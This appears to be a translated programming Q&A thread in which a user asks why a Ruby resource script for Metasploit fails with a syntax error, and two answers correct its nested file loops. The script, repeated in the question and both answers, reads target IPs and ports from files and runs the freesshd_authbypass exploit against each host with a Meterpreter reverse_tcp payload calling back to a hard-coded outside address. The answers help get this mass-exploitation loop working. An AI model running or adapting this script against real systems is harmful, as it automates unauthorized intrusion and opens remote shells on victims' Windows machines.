从Ruby中读取多个文件时出错

时间:2015-01-20 14:15:11

标签: ruby

我一直在编写脚本来使用metasploit中的Ruby自动执行任务。出于某种原因,脚本给了我错误。这是代码:

<ruby>
File.open("/root/ip.txt","r") do |file|
        file.each_line do |ip|
        file.close
File.open("/root/derp.txt","r") do |port1|
        file.each_line do |port|
        file.close
                run_single("use exploit/windows/ssh/freesshd_authbypass")
                run_single("set LHOST 198.46.156.143")
                run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
                run_single("set LPORT #{port}")
                run_single("set EXITONSESSION false")
                run_single("set RHOST #{ip}")
                run_single("set USER_FILE /root/userlist.txt")
                run_single("exploit -j -z")
        end
end
</ruby>

(是的,我知道它并不完美(完全没有),但我对Ruby非常新。)我尝试了所有内容,在每个end行添加了File.open(当然,这是在File.close之后,但它会出现此错误:

[-] resource (/root/exploit.rb)> Ruby Error: SyntaxError /opt/metasploit-framework/lib/msf/ui/console/driver.rb:461: syntax error, unexpected keyword_end, expecting $end ["/opt/metasploit-framework/lib/msf/ui/console/driver.rb:455:in `eval'", "/opt/metasploit-framework/lib/msf/ui/console/driver.rb:455:in `load_resource'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:245:in `block in cmd_resource'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:227:in `each'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:227:in `cmd_resource'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/opt/metasploit-framework/lib/rex/ui/text/shell.rb:200:in `run'", "/opt/metasploit-framework/lib/metasploit/framework/command/console.rb:30:in `start'", "/opt/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/usr/local/bin/msfconsole:48:in `<main>'"]

{}添加到代码的开头和结尾也不起作用。

简而言之,当我在代码中添加多个File.open时,Ruby会给我一个错误。我需要有关如何正确实施它们的帮助。

2 个答案:

答案 0 :(得分:3)

正确缩进代码,问题就会自动弹出。

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    file.close
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        file.close
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end

您可能需要添加两个end。此外,file.close形式的do ... end并且在您放置的奇怪位置时,File.open不是必需的。

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
  end
end

答案 1 :(得分:0)

Patrick Oscity有解决方案,但即使添加了缺少的end语句,固定代码也不是非常直观。

看起来你只想要两个不同文件的第一行。不要打开文件然后使用each_line进行迭代,而是使用foreach。并且,不是立即关闭文件,而是简单地从底部的循环中断,这将关闭文件并导致只读取一行。

这样的事情:

File.foreach("/root/ip.txt") do |ip|
  File.foreach("/root/derp.txt") do |port|
    run_single("use exploit/windows/ssh/freesshd_authbypass")
    run_single("set LHOST 198.46.156.143")
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
    run_single("set LPORT #{port}")
    run_single("set EXITONSESSION false")
    run_single("set RHOST #{ip}")
    run_single("set USER_FILE /root/userlist.txt")
    run_single("exploit -j -z")
    break
  end
  break
end